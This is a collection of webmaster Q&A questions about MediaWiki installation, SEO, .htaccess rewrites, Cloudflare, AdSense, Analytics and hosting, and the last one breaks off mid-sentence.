MediaWiki Problem

I can't implement MediaWiki on my website. I made a database called soulz_wikipedia. When I configure my wiki, to install it, it asks me what languages etc to choose from, when I press Continue I can't do anything else. All it comes up with is:               MediaWiki 1.17.0 installation          Language     Existing wiki     Welcome to MediaWiki!     Connect to database     Upgrade existing installation     Database settings     Name     Options     Install     Complete!          Restart installation     Welcome to MediaWiki!          Environmental checks     Basic checks are performed to see if this environment is suitable for     MediaWiki installation. You should provide the results of these checks     if you need help during installation.     PHP 5.3.6 is installed.     Unable to determine IP     Backtrace:     0 /home/soulz/public_html/Wiki/includes/User.php(1537): wfGetIP()     1 /home/soulz/public_html/Wiki/includes/db/Database.php(683): User->getName()     2 /home/soulz/public_html/Wiki/includes/db/DatabaseSqlite.php(147): DatabaseBase->query('CREATE VIRTUAL ...', 'DatabaseSqlite:...', true)     3 /home/soulz/public_html/Wiki/includes/installer/Installer.php(636): DatabaseSqlite::getFulltextSearchModule()     4 /home/soulz/public_html/Wiki/includes/installer/Installer.php(387): Installer->envCheckDB()     5 /home/soulz/public_html/Wiki/includes/installer/WebInstallerPage.php(369): Installer->doEnvironmentChecks()     6 /home/soulz/public_html/Wiki/includes/installer/WebInstaller.php(250): WebInstaller_Welcome->execute()     7 /home/soulz/public_html/Wiki/mw-config/index.php(46): WebInstaller->execute(Array)     8 /home/soulz/public_html/Wiki/mw-config/index.php(14): wfInstallerMain()     9 {main}      That's all, I can't install it.. Help?


With Drupal, what's the best way to do backups and version control?

Looking to create a rollback and recovery system that allows me to create monthly backups that are easy to use to do a restore with, but would also like to be able to log and rollback changes. It would be nice if the rollback system is not 100% linear, but able to clusters and type system dependences. Also, like it if the rollback system was a module, but that's not 100% required. If you have any questions, just ask -- thanks!!


How will a website update - from HTML 4.01 to HTML5 - affect page ranking?

My concern is, my client is already number 2 on the search engine ranking for the main keyword of his particular field and I don't want to see him lose any more ground. He wants to not only future proof his website with html5, but also add new content. With that being said, he was number one on the search results for a long time and is now number two. Furthermore, I fell like he's quickly losing ground to other websites. Providing that all the keywords and links are taking care of, will a complete update hurt or help his rankings.


Loading 300dpi images for download

How can I add 4x5 300 dpi images to my website for download from clients without the images being enlarged on the website?


Does the adsense bot ever get bored?

Each time someone clicks on a page like               http://www.example.com/crazy.cgi?input=silly+banana      where the "silly banana" bit represents some arbitrary user input which changes each time, I get yet another hit from the Adsense bot, almost immediately afterwards. And yet the page's contents don't vary much depending on the input. Is there a point at which the Adsense bot (user agent "Mediapartners-Google") gets bored, in other words begins to notice that the query parameters don't make much difference to the output page, or does it just keep on and on coming to my page indefinitely? And if there is a point where its enthusiasm begins to wane, can it be predicted?


Disable __cfduid cookie from Cloudflare

Is there a Cloudflare setting that corresponds to the creation of the `__cfduid` session cookie? I'm currently trying out CF; mostly for the neat DNS management and the implicit CDN. But the basic WAF is possibly just as nice an addition atop Apaches mod_security/CRS. However I'm not sure what said cookies purpose is, and would prefer to get rid of that. The most obvious setting ![Security profile: Essentially off](http://i.stack.imgur.com/KRL6y.png) Seems to also have essentially no effect on the creation of `__cfduid` with every HTTP response. The cookies purpose is presumably for opting out single users from firewall rules, repeated cloudflare captchas, etc. Their support documentation alludes to that. Where the first revision from 09/2012 (https://support.cloudflare.com/hc/en-us/articles/200169536-What-does- the-cfduid-cookie-do-) says this behaviour can't ever be turned off. An entry two months later 11/2012 (https://support.cloudflare.com/hc/en- us/articles/200170156-What-does-the-CloudFlare-cfduid-cookie-do-) however omits that note. While Cloudflares TOS itself check out as plausible, this cookie has all the properties of a tracking session, `dc41f5a78bc3e27d44b70fca4606e4262283407700773`. The excessive cookie lifetime of 6 years is very odd for the exemplary internet cafe visitor use case. And since I'm personally avoiding needless sessions, and don't want to plaster a privacy note (in light of the infamous EU cookie law) like everyone else, I'd prefer to have it gone per default. A workaround like:                 Header add Set-Cookie "__cfduid= ; path=/; domain=.example.org; HttpOnly"      Does eschew its storage, but retains two needless headers, and doesn't seem overly reliable. So, is there another CF setting for this?


Getting spam from non-existent form?

A client was getting a lot of spam from a form on their site. I added Captcha and changed the form fields and form recipient email address, but the client is still receiving spam from the server, with the original form fields to the original email address. Does anyone know what this is and how I can stop it? Thanks!


Why classifieds pages use subdomains?

Can somebody tells me in terms of SEO if the use of subdomains is better than the use of folders? I'm developing a classifieds page, and I already know that many classifieds like Craigslist use subdomains to have presence in certain city, is this really to help the rankings in search engines? Is better to use folders for this case to increase my rankings in search engines? Many SEOs have told me that I have to use folders but I'm not quite sure.


SEO url for multi-language site

Are the following urls threated the same in SEO rank or is someone better than another? If, why?   * language.domain.com/page   * domain.com/language/page


Web Directories Monitor Script

I have some troubles with injections on my shared hosting account where I run a lot of sites with a lot of different technologies: wordpress, drupal, joomla, osticket etc... I installed wordpress file monitor for wordpress and that seems to report nicely if something is injected though it misses sometimes changes to themes. I wonder if someone knows of a preferably perl script that I could cron to report me changed and added files each day so that I can walk through them each day and see if something weird is happening with them. It would be even cooler if this script would check for base 64 injections and then place a checkmark before it. I prefer something not that I have to place in the web directories since these seem to be the most vulnerable.


GoDaddy Perl modules

Is there any way to find out the list of Perl modules provided by GoDaddy hosting without actually getting a hosting account?


I found the IP Addresses via Logs & Google AP. I have a question about the the GPI?

I found out how to get all the IP addresses via Server Logs. I'm using the IP addresses to get the Latitude and Longitude. The address appear to be approx 1 3 miles away from the actual address of the vistor. Can someone explain why the GPI coordinates via IP address are not exactly matching the location of the user? Is there a more dependable way to get the address? Erik


How can I block site visitors using legacy browsers

I want my site to block access to visitors that are using outdated browsers such as _IE6_ and _IE7_ etc. I am looking for a script that I can use to block certain browsers accessing my site


is there anything wrong with my sitemap.xml

I had written an article over Highly searched keywords some days ago. When i search it in google using `top searched keywords article-stack`, it returns many results from my site. But none of them was really pointing to actual article. Is there anything wrong with sitemap.xml of my site or with google search?


How to Conditionally Load @Font-Faces via CSS3?

Curerntly, when you use a beautiful font, like for example the multiligual `Calibri` fotn (a win7 font), then it even downloads eventhough a user has the font already installed, when i use the following css:               @charset "utf-8";       @font-face {         font-family: Calibri;         src: url('http://blabla.com/calibri.eot')         }      **However:** this font is 400 kb gzipped, and i would like it to _ONLY_ download, if the font is NOT present or installed by that name / family name, right? **Question:** Is this possible to setup a neat conditional rule for this, for modern browsers (say IE8+, Firefox 3+ etc). How to implement it? Thanks for any and all clues!


Yahoo sitemap validation

I am trying to submit _sitemap.xml_ (Index) to Yahoo Site Explorer but with no luck. I tried using **website feed** option in the site explorer to submit the sitemap, but I got validation errors. However, when submitting the same sitemap to Google Webmaster Tools, the sitemap was validated successfully. Could it be for the fact that I am using sitemap with image tag:               <image:image>         <image:loc>http://www.domain.com/pic.jpg</image:loc>         <image:title>picture</image:title>      </image:image>        When I tried validating the sitemap with inline tools such as http://www.xml- sitemaps.com/validate-xml-sitemap.html and http://www.w3.org/2001/03/webdata/xsv the error I received was: > Attempt to load a schema document from > http://www.google.com/schemas/sitemap-image/1.1 (source: new namespace) for > http://www.google.com/schemas/sitemap-image/1.1, failed: Not recognised as > W3C XML Schema or RDDL: html However, the declaration of the sitemap I use in the top of the document is the same as suggested by Google on their official page at http://www.google.com/support/webmasters/bin/answer.py?hl=en&answer=178636 :               <?xml version="1.0" encoding="UTF-8"?>      <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"       xmlns:image="http://www.google.com/schemas/sitemap-image/1.1">      <url>      Any ideas how to resolve this issue?


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RewriteRule with Query_String

I have               http//royatlon.north.com/cybersource/fp/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1      and I would like to rewrite it to this:               https://media.north.com/fp/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1      How can I do this? I tried this:               RewriteCond %{REQUEST_URI} ^/cybersource/fp/clear.png/     RewriteCond %{QUERY_STRING}^(.*)org_id=1snn5n9w&session_id=sterling40272003&m=1(&.*)$ [NC]     RewriteRule^(.*)$ https://media.north.com/fp/clear.pngorg_id=1snn5n9w&session_id=sterling40272003&m=1 [R=301,L]      ...but it's not working. * * * But here is the problem, I have multiple URLs for one host for example I have this: ## If the request is `http//royatlon.north.com/cybersource/fp/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1`   **rewrite it to**   `https://media.north.com/fp/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=1` ## If the request is `http//royatlon.north.com/cybersource/fp/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=2`   **rewrite it to**   `https://media.north.com/fp/clear.png?org_id=1snn5n9w&session_id=sterling40272003&m=2`


Is it a good idea to strip common words from url's

I've got an MVC app that generates url "slugs" on the fly. I'm wondering (with regards to SEO) if it's good practice to stip common words from the slug. IE: Page Title: **This is a cool title with lots of content** Page Slug: **/this-is-a-cool-title-with-lots-of-content**   Option B: **/this-cool-title-with-lots-content**


Remove .php and id from URL and replace with slash

I have tried lots of URL rewrite rules in _.htaccess_ but I am stuck now. I have to change this URL:                   products.php?id=31      to                   products/31      I have used:                   Options +FollowSymLinks -MultiViews         # Turn mod_rewrite on         RewriteEngine On         RewriteBase /              ## don't touch /forum URIs         RewriteRule ^forums/ - [L,NC]              RewriteCond %{THE_REQUEST} \s/+products(?:\.php)?\?id=([0-9]+) [NC]         RewriteRule ^ products/%1? [R,L]              RewriteRule ^products/([0-9]+)/?$ products.php?id=$1 [L,QSA]              ## hide .php extension snippet         # To externally redirect /dir/foo.php to /dir/foo         RewriteCond %{THE_REQUEST} \s([^.]+)\.php [NC]         RewriteRule ^ %1 [R,L]              # To internally forward /dir/foo to /dir/foo.php         RewriteCond %{REQUEST_FILENAME} !-d         RewriteCond %{REQUEST_FILENAME}.php -f         RewriteRule ^(.+?)/?$ $1.php [L]      Using this I get the following result:                 products/31      But all images and CSS not displaying. Any ideas?


What are the HTTP header identifiers for different OVH CDN cache locations?

When having a web hosting solution from **OVH** that includes their Content Delivery Network ( **CDN** ), and the OVH web hosting + OVH CDN are correctly configured, the **HTTP headers** of the served web site are changed. An example:               X-Cacheable: Not cacheable: no-cache     X-CDN-Geo: lag     X-CDN-Geo-IP: 46.105.194.197     X-CDN-Any-IP: 46.105.199.116      One of the headers is the " **X-CDN-Geo** " that tells the geographical location of the server that actually serves the file. Is there a list available of all OVH CDN-Geo locations?


Why Google displays search results all the cracks when appended by "94FBR" keyword in search query?

I found on the internet that if you mention the software name and just add `94FBR` keyword to your search query Google displays the results of all the cracks etc. for that software . Refer to the image for better understanding. ![enter image description here](http://i.stack.imgur.com/hmTPg.png) So I was just curious to know what does this happen and does `94FBR` has a special meaning?


Filtering your offices IPs from Google Analytics when each has a dynamic IP?

I found the documentation for filtering IPs from Google Analytics, but the address of the several locations of our company all have dynamic IP addresses that change every 30 days from what I'm told. I know from working with Dynamic DNS that the provider usually gives you a script that you configure your router to run when it's IP address changes or when it is restarted, which passes the new IP address to the DDNS server. I'm wondering if there might be a way to write or use a preexisting script to do the same thing with the Google Analytics API.


Avg Page Load Time on Google Analytics

For a particular day, Site Speed Page Timings in Google Analytic is 23.77 Secs. I selected that particular day and used Day mode to see timing hourly. There when I Added City as 2nd filter then I saw most of them are accessed from India or nearby locations which are very slow. Others are 0 secs. In India, visitors connection speed can be slow. **Should I worry about page load timing in this case?** As seen on snap, 1133 pages has been accessed by Google and only around 35 pages got bad Avg Page Load timing. When I used to see bad Page Load Timing then I used to think of my Hosting provider but from the data, I think it is not of Hosting Provider! ![Page Timing - Avg page load time](http://i.stack.imgur.com/ng5Eh.png)


Choosing a domain name with joined words is good for SEO?

I am going to choose a domain name for my business. For that I am going to use joined words in my domain name. For example, let's say my keywords are "painting" and "goa" and also that `paintinggoa.com` is not available to register. In this case if I choose `paintingoa.com` is it good? Is it good for SEO purposes? How will Google treat this domain name?


SEO domain advice: sol-spl.com vs sol-spanish.com

I'm taking Spanish lessons from a school that uses a domain name `sol-spl.com` (not the actual domain), where `sol` is the name of the company, and `spl` stands for "Spanish private lessons". I was thinking that it might be much better for their search rankings if they used the domain `sol-spanish.com`, since every search for spanish lessons is going to use the keyword `spanish`, and `spl` isn't likely to be used. Will switching domains like this likely have a positive impact on their search rankings, and is it a reasonable thing for me to advise them to do?


Analytics - how to tell where converted traffic came from?

I must be missing something obvious. I have Analytics set up with conversion tracking (goals), and I had 4 customers complete the goals yesterday. I'm trying to find out where those 4 customers came from (organic search? if organic, what keywords? etc) but I can't figure out how to do that in Adwords. When I click into the goal tracking overview, I see my 4 customers and it breaks it down so I see that 3 of them came from adwords (cpc) and 1 of them came from organic. I'd like to know exactly what ads brought the traffic and what keywords on the organic search led them to me. How can I do this? It seems like a simple request... but I can't figure it out... thanks for your help!


How to decrease the frequency of Google/Search-engine bots crawling my site?

My server handles my visitors ok, but recently I found there are many search engine bots crawling my site and my server gets quite busy serving these bots. My site generates over 1000 posts each day, so it might be normal for the bots crawling my site often. However, is it possible to decrease the frequency for the bots crawling my site? Or just tell the bots to craw my new posts? It seems they are crawling my site more and more often and my server becomes slow when they visit my site.


Does using data from another website increase their SEO?

To clarify, if I wear to use xml data from another website to make charts on my site, would that affect their SEO?


Handling the holding of money on a platform

We are building a platform for a client, developed in Yii, where users can top up their account on the platform with money from PayPal. Users can upload files and buy access to each other's files. Users can also gift other users with money. I was thinking that when users top up their account, the money goes from their PayPal to the merchant account of the website. So all users' money goes to one merchant account. Then, any transactions on the platform are simply recorded on the platform and each user's balance is the maximum amount they can withdraw from the merchant account. Is this the right approach? Legally, are there any problems?


Is it possible to add a company logo to the recept email PayPal sends out?

As far as I've been able to gather you can only co-brand the checkout process, but the PayPal documentation is fairly convoluted. Has anyone managed to put a logo on the actual emails paypal sends out?


nofollow on local images improving SERP?

I have links to images on my website (fined with lightbox), when I extend the links with `rel="lightbox nofollow"` would this increase the link juice value of the other links? I don't need all of the images indexed, a few of em.


Disqus thread migration. Gotchas?

I've been migrating a site to a new domain. The site itself is pretty straightforward (it uses Jekyll), and everything has gone fine -- except migration of Disqus threads. I've had _partial_ success -- some of the threads have migrated successfully, but not all. I've tried the domain migration wizard (which caught a few), the URL mapper (which caught a few), and the 301 redirect crawler (which caught a few). But the remaining threads just won't move, no matter which method I use. So, I suppose I suppose I'm asking if there are any "gotchas" I should know about with this. When you execute any of these migration tools, it says it will "take awhile." Does that mean hours? Days? I can't tell if it's working, and there's no logging or error reporting that I can see.


How to include content from remote server while keeping that content secure

I am hosting collection of videos, for which I retain the copyright, on a file server that I'd like to share with family and friends. When a user visits my file server via a web browser they are asked to authenticate using HTTP auth and then they are presented with a basic list of the files. I'd like to build web application that provides a clean interface with simply library functionality. However, this app will be hosted on a different server. I'm trying to figure out a security model for my file server that doesn't require the user to login to both the file server and the hosting server. I want to make this as easy as possible for my non-tech savvy family while still maintaining security for my files.


How to make google analytics report on two domains as though they are one site?

We have a main site that Google analytics is currently running fine on (www.ourcompany.com). We have a page that is technically part of the site (same design, etc.) but is hosted on another server/domain for various business reasons (www.ourparentcompany.com/ourcompanyapp/). Do we just add the normal google analytics code to the bottom of that page? Or is there something more we have to do? If there isn't anything more then couldn't anyone just take your GA code and start reporting analytics to your profile from their site?


Convenient practice for where to place images?

A lot of developers place all image files inside a central directory, for example:               /i/img/     /images/     /img/      Isn't it better (e.g. content architecture, on-page SEO, code maintainability, filename maintainability, etc.) to place them inside the relevant directories in which they are used? For example:               example.com/logo.jpg     example.com/about/photo-of-me.jpg     example.com/contact/map.png     example.com/products/category1-square.png     example.com/products/category2-square.png     example.com/products/category1/product1-thumb.jpg     example.com/products/category1/product2-thumb.jpg     example.com/products/category1/product1/product1-large.jpg     example.com/products/category1/product1/product2-large.jpg     example.com/products/category1/product1/product3-large.jpg      What is the best practice here regarding all possible considerations (for static non-CMS websites)?    N.B. The names `product1-large` and `product1-thumb` are just examples in this context to illustrate what kind of images they are. It is advised to use descriptive filenames for SEO benefit.


How are the sitemaps of big sites generated?

_The question is related to my questions about thingsthe filesystem of Wikipedia and generating sitemap for Wikipedia. It is more general._ **Problem:** Suppose a site on MediaWiki with about 10,000 pages is partly indexed by search engines. It has similar spects as the spects. **Question:** How can you generate sitemaps for any big site to quarantee its visibility in search engines?


Google crawl speed -- how fast can it go?

I have a huge website with 5 million pages. Currently Google indexes about 10,000 pages per day. This is very slow, I still have lots of pages that I can't get indexed. Does anyone know what is the upper threshold for crawl speed?


Who do I turn to for the Terms of Service and Privacy Policy?

Are the Terms of Service and Privacy Policy for a web site something I can write up on my own, or do I need to turn to a lawyer or some other professional to do these? Who are the guys who do the Terms of Service and Privacy Policy for web sites? How does one go about doing this, and how much does it cost (in the US)?


Under what circumstances is a website subject to United States laws?

I'm a Canadian student currently hosting a website using a German VPS service, which I want to put a forum on in the near future where users can submit content. However, all of my domains are .com, which is an American registry under an American registrar, and the website is made accessible to American users although the target audience is worldwide. I'd like to avoid subjecting myself unnecessarily to United States laws, in order not to be required to comply fully with things like the DMCA safe harbour provision and COPPA (although I might implement similar measures to the extent I find reasonable and to maintain compliance with the local laws of both Canada and Germany). I don't plan on doing anything illegal with the site itself, however, unlike a similar question posted here. In this situation, does the United States have any power or jurisdiction over my website? Do I need to comply with US laws just because I make my site accessible to them or because my domain name is under American control?


What are you using for getting stats about your web app? G. Analytics or other solution?

if you are building your own web application, what are you using for monitoring of visitors. Are you getting this information from Google Analytics? Or do you prefer your own solution?


Deploying Complex Changes

Occasionally we need to deploy fairly complex changes to a website which require changes to databases (new or changed tables) and dynamic source code (such as PHP or ColdFusion). What is the best way to package and deploy these changes quickly without breaking everything on the live website?


How do multiple subdirectories affect SEO?

I am building a URL strategy for a new website. Which is a better URL format, and why?   * /top-level-category/second-level-category/page-title or   * /page-title-top-level-category-second-level-category or some hybrid approach, maybe   * /page-title-top-level-category   * /top-level-category/page-title-second-level-category   * /top-level-category/page-title I've Googled around a fair bit and found some conflicting answers. SEOMoz suggests that the style I mentioned first seems to be best, but other sources indicate that keeping URLs short and pages in the top level directory can help keep SEO ranking high.


Why My Adsense Account is not accepted

I have created a blog on blogger few days ago and created two blog entries on it. when i try creating AdSense account with blog's address it does not accept the application due to PageType. i have searched around on the net and found that its probably due to duplicate or insufficient content on the blog but either of my blog entry is more than 2,000 words and i have literally typed 80 percent of its content with only few code blocks copied from other sites. Below is content of email i received as response to my application. Hello, Thank you for your interest in Google AdSense. Unfortunately, after reviewing your application, we're unable to accept you into AdSense at this time. We did not approve your application for the reasons listed below. Issues: - Page Type * * * Further detail: Page Type: In order to participate in Google AdSense, publishers' websites and application information must satisfy the following guidelines:   * Your website must be your own top-level domain (www.example.com and not www.example.com/mysite).   * You must provide accurate personal information with your application that matches the information on your domain registration.   * Your website must contain substantial, original content.   * Your site must comply with Google AdSense program policies: https://www.google.com/adsense/policies" which include Google's webmaster quality guidelines: http://www.google.com/support/webmasters/bin/answer.py?answer=35769#quality . If your site satisfies the above criteria in the future, please resubmit your application and we'll review it as soon as possible My Personal credentials are also same as they appear in my google account. i can't figure out the problem. Any Help/Suggestion is highly appreciated.   regards


How do I get the root index page to redirect to a subdirectory without affecting SEO?

I am reviving/reorganising my personal WordPress blog. It's using a URL that looks like this: `http://mydomain.com/blog` The webserver 301 redirects `www.mydomain.com` to `mydomain.com`. I want to use the `blog` subdirectory because I plan to add other parts to the site, with the blog only being one part of the site. However, at the moment there is nothing there but the blog, so I want to have the root index page redirect to the blog for the time being. I have been using this on the root `index.html` page to do the redirect... `<meta http-equiv="REFRESH" content="0;url=./blog">` ...but this seemed to have stopped the site being indexed by Google and Bing. How do I do this without affecting SEO? Also, what URL should I put in the `sitemap.xml`?


Subdomain redirects to subdirectory

Supposing I have folder called "support" inside root folder "/public_html". I've added a subdomain in my server's panel so that when going to "support.mydomain.com" it redirects to "mydomain.com/support" The problem is that redirection is reflected on the browser's address bar, and I want to make that subdomain work like "base domain". i.e "support.mydomain.com/folder-inside-support" Is it something to be with .htaccess file?


Can I do a non-hostile cross-domain POST now?

One requirement for a site I'm working on calls for visitors to be able to sign up for an email list. Rather than add server-side handling for this otherwise static site, I would like to POST from the email signup form to another server (owned by the same client) that already has an email signup handler on it. But that server is on a different domain, so I expect some resistance from UA CSRF protections, but I don't know exactly what to expect. (There is practically no JS involved with this, just cross-site POSTing.)   1. Is what I want to do possible at all, or do I need to iframe the email signup form from server #2?   2. If it is possible, what kind of problems can I expect to face, and how should I overcome them?


Good places to submit a business profile?

We have a new graphic/web design site that we've created and we'd like to give it a boost in terms of back links. What are the obvious places to submit a website to achieve some good back links? And what would be the recurring work load (if any) that those back links would need? Are there any good industry specific websites we could submit a profile to? E.g Twitter, would need constant interaction and new content with back links to the website. **UPDATE:** I've always felt it's worth it but after several years trying to submit different websites, I've never successfully managed to get a site into DMOZ!!


How do I get mod_rewrite working with typo and wordpress?

I've some trouble with typo3 (mydomain.net) and wordpress (mydomain.net/blog/) using mod_rewrite. First I was running a typo3 installation which uses mod_rewirte without trouble. Now I'm trying to run a wordpress too, but if wordpress uses mod_rewrite, every click of a link bing me back to the index of my typo3. The filestructure of my ftp-folder:   * /html/ (contains the typo3 files and folders and the .htaccess-file)    * /html/blog/ (contains the wordpress files and folders) This is the content of the .htaccess:               RewriteEngine On          RewriteRule ^(typo3|t3lib|tslib|fileadmin|typo3conf|typo3temp|uploads|showpic\.php|favicon\.ico)/ - [L]          RewriteRule ^typo3$ typo3/index_re.php [L]          RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteCond %{REQUEST_FILENAME} !-l          RewriteRule .* index.php [L]      Any ideas as to what I should do? Or is it possible that only one cms uses mod_rewrite?


Cloudflare in cpanel is it a no brainer?

I recently noticed Cloudflare cdn service add on in my cpanel. I understand what CDN is, but though it was a more complicated process than the one-click solution that seems to be offered in cpanel now. Can anyone vouch for this service through the cpanel and if it is indeed easy to set up as it looks. Do I risk breaking anything on a dynamic site?


Host multiple domains with Apache

Is there a way to host multiple domains with Apache web server without making any changes to the DNS server? I have full control over the Apache server and no control over the DNS server.


Discontinued ads exchange of 125px square?

From more than 4 years ago AdBrite was recommending its users to use a free banners exchange service characterized by its square 125px banners. That service was discontinued from about three years. My question is: Is there anyone remember the name of this service. I just remember that its name was ended with three identical letters and its logo has a small dog drawing. Someone may wonder why I ask about it! I just asking to easily search for an equivalent service like it.


How to get a new Adsense account?

I have a websites related to cricket and advertising. How can I apply for google adsense?


How to configure mod_bwlimited through htaccess

The mod_bwlimited module in htaccess apparently displays an error if bandwidth is exceeded. Anyone know what options are available for configuring it through htaccess?


Single IP multiple servers

I have seen that some IPs are tied to multiple servers (physical machines). Example: check the ping times of one of GoDaddy's nameservers: http://just-ping.com/index.php?vh=NS39.DOMAINCONTROL.COM&c=&s=ping! It has a ping time of around 3.2 ms from Singapore AND a ping time of 2.3 ms from Ashburn, U.S.A, etc. So pretty sure it pings the nearest server. My question is, how does one set this up? Is it possible for an average webmaster to set things like this (buy servers in multiple countries and tie them to single IP address)?


Links from pages with poor/no ranking, is there anything I can do about this?

A site I help with sells a particular set of items, they have a strong reputation locally, and sell parts nationally online. From an observational point of view I enjoy working with them as they do everything right - always willing to go the extra mile for customers, even at times when it seems counter productive (for example spending large amounts of time helping a customer who has spent relatively little money) I would definitely put them in the "good guys" bracket. Checking server logs I notice they get quite a few links from phpbb style forums, talking about how great the service was/how good the prices were etc. These forums appear to be quite popular - large user list, lots of discussion and questions per day etc. But (and here is the problem) I'm almost certain these discussion groups aren't being picked up by google. The customers just don't seem to be the kind of customer who have a blog/twitter feed/website - the sort of content which is more likely to be picked up by google and have page ranking. I understand partly this is why the stackoverflow/exchange sites exist - to make the web a better place, make answers easier to find, more search engine friendly etc. Does anyone have any advice as to how to deal with this "problem" of old style discussion groups?


Would changing IP addresses affect my SEO

We're about to change our website from a shared hosting account to run on a VPS, mainly so we have our own resources and control over server settings. An IP address is included with the VPS. What I was wonder is if the IP address change will have a similar affect to changing the domain name? Obviously the links will still come from the same domain, so that's fine, but I was thinking more along the lines of the way a search engine sees the site - would it downgrade you for switching IP's?


Is my Hostgator dedicated IP used any more if I use CloudFlare DNS?

I'm hosting my website with Hostgator and I have a paid dedicated IP address for my host.   Today I have made an account on CloudFlare and replaced my old hostgator DNS with ClodFlare's DNS. My question is: If I've changed my Hostgator DNS with CloudFlare DNS that dedicated IP from Hostgator will be used like before or I'm paying for it for nothing and my website uses CloudFlare IP from now on?


What are the most commonly used web picture/image/icon sizes?

Similar to what already exists regarding web banner sizes, is it possible to find the list of most commonly used picture/image/icon sizes on the web (e.g. 16x16 for small icons, 24x24 for medium icons, 50x50 to 70x50 for small profile pictures...)?


/ and index.php. How to eliminate this duplicate page issue?

In my website root, I have an index.php and of course the rest of the pages. The problem is when I crawl my site either with a crawler or a sitemap crawler, etc, it reports 2 duplicated links www.domain.com/   www.domain.com/index.php How do I force tell my crawler that there are no two instances of the same page? Do I use a 301 to merge them? A canonical? an .htaccess redirection? etc. How do I fix this?


SEO for niche web directory - using canonical for pagination?

I am creating a niche web directory. Each category has a quality text and then about 1000 sites listed. My primary goal is to get Google traffic for each category intro. Only on 1st page of each category is text with first 30 sites populated, on the next pages there are only list of sites as pagination goes. I am not sure what would be a proper way for pagination. Each first page category is unique, but next pages could be very similar because the same sites belong to different categories. Do you think using canonical tag would be acceptable in this case?


google changing crawl speed: doesn't seem to work. Why?

I've changed 3 days ago the google crawling speed of mywebsite. Here it is: ![2 demands by seconds](http://i.stack.imgur.com/m7W1O.jpg) This means: **`2 demands by second`**. I've got the message on the google webmasters tools that the change speed has been taken in account: ![message on the google webmasters tools that the change speed has been taken in account](http://i.stack.imgur.com/bKUa6.png) But after more than **three** days, nothing happens: still _one request every **ten** seconds_ See here: ![apache webserver logs showing one request every ten seconds](http://i.stack.imgur.com/VJt83.png) My webserver is very fast and can handle up to _twenty simultaneous connexions_. And my website is brand new, this means google is almost the only one here crawling my website. After more than 30000 successful requests (= no 404), I think there's something going on... or maybe this is just a bug? Has anyone ever had this problem?


Analytics and AdWords setup for agency

How would you recommend to setup Google Analytics and (or) AdWords for an marketing agency managing multiple websites, assuming that:   * I need access to all of the sites   * I'd like to manage all of the domains in one place   * I'd like to avoid to repeat all the stuff (e.g. creating filters excluding my IP)   * I need Google Analytics for all of the client sites   * Some of the clients are using AdWords, some not   * Each of the clients need an access to their data, and only their How to set up My Client Center and Analytics together?   Do I need to create separate gmail account for each of my clients (assuming they don't have one yet)?


why is my site slower with amazons cdn?

so I have move most of the static objects to amazons Cloudfront CDN example: http://images.storyfollower.com/images/cycleOfStories.jpg which through cname point to the cdn Now I just ran a speed test and the site is much slower????? With cdn: http://tools.pingdom.com/fpt/#!/BmxPlstTp/storyfollower.com 1.7 sec Without cdn http://tools.pingdom.com/fpt/#!/nFmp4l3Ez/storyfollower.com 0.8 sec. I basically moved all the css / js / and images over to the cdn Did I do something wrong? Have a look for your self at http://storyfollower.com WHY is this happening? Thanks


Subfolder non-www redirect

Is there a way to redirect a sub folder to `no-www`? What I use is:               RewriteEngine On     RewriteBase /     RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]     RewriteRule ^(.*)$ http://%1/$1 [R=301,L]      but this only redirects the `www.example.com` to `example.com`. I would like to redirect: `www.example.com/home/` to `example.com/home/` `www.example.com/home/whatever` URL to `example.com/home/whatever` URL. I have tried this:               RewriteEngine on     Options +FollowSymlinks -MultiViews          RewriteCond %{HTTP_HOST} ^(www\.)?example\.com$ [NC]     RewriteRule ^$ http://example.com [R=301,L]          RewriteCond %{HTTP_HOST} ^www\.example\.com$ [NC]     RewriteCond %{REQUEST_URI} !^/home/ [NC]     RewriteRule ^(.+)$ http://example.com/$1 [R=301,L]      This does not work, either. I can't really figure it out. Any help appreciated! # ANSWER I figured it out and I will post it for others to see, if having the same issue. In the sub folder directory's _.htaccess_ used the following:               RewriteCond %{HTTP_HOST} ^(www\.example\.com)?$     RewriteRule ^(.*)$ http://example.com/subfoldername/$1 [R=301,L]


A JS-based WYSIWYG HTML editor with flexible image upload?

Is there a good JS-based WYSIWYG HTML editor with flexible image upload out there? Ideally, I'd like an editor that allows me to handle image upload in a custom callback.


Does DFP Small Business allow geotargeting?

I'm working with a blog that has an advertiser who can only show ads for US/UK... so I'd like to set up an ad server that will show those advertiser's ads for US/UK customers, and then show Google Adsense ads for all other countries. It seems like DFP Small Business (Google's free ad server product) will do the job for all of this, but I'm not 100% certain it allows geotargeting as I've described. Is that possible?


When should a webmaster call it a day POST Penguin & Panda?

A friend of mine, an ex-client whose site I designed, has a problem with his ranking and I want your personal spin on his situation. It'll help if I recall some of his site history. Basically for 10 years or so his website has been in the top 10 rankings averaging 5-10. Well that wasn't good enough for his niche because of the low search volume so he took it upon himself and bought dirty back-links... You know the kind 10 bucks per 10,000 and of course this worked for a couple of years and then came the likes of panda and penguin and now his business is on the edge of closing. Now let's put the personal thoughts of "serves him right" aside because I too dislike sites that are beating me in rankings when they clearly shouldn't. Fact of the matter it's happened and people/businesses are on the edge of closing. His recovery steps have been:   * Messaged site owners to remove his links (even paid some people to remove them)   * Removed all naughty links via the disavowed tool   * Paid for his site to be rewritten by a Professional Copywriter (expensive)   * Paid for Bloggers to Post Weekly (Unique Content not Spun)   * Paid for Advice from SEO Consultancy's regarding Issues    * Has very few links listed in Google Webmaster Tools and more quality than his competitors.   * Had SEO people rework some of his site (Reduced Keyword Spam etc) Now my friend has pumped £10,000s into recovering his website and almost one year on his site is still on Page 4 (Against sites that are just not good in terms of content and also debatable links) - The search terms are not very competitive at all. **Now as a webmaster and putting yourself in this position when do you call it a day or is there any steps additionally he can do?** I know this question may seem a bit subjective or based on person opinion but none the less maybe there is additional steps that can be taken or confirming that he should just re-brand and go with another website would be convincing advice to my friend. **Additional Information** He was hit on the first release of Penguin updates around April 2012, He waited a couple of months and believed he had been slapped. From there it was a little unsure if it was a panda, or penguin or a bit of both. So around July 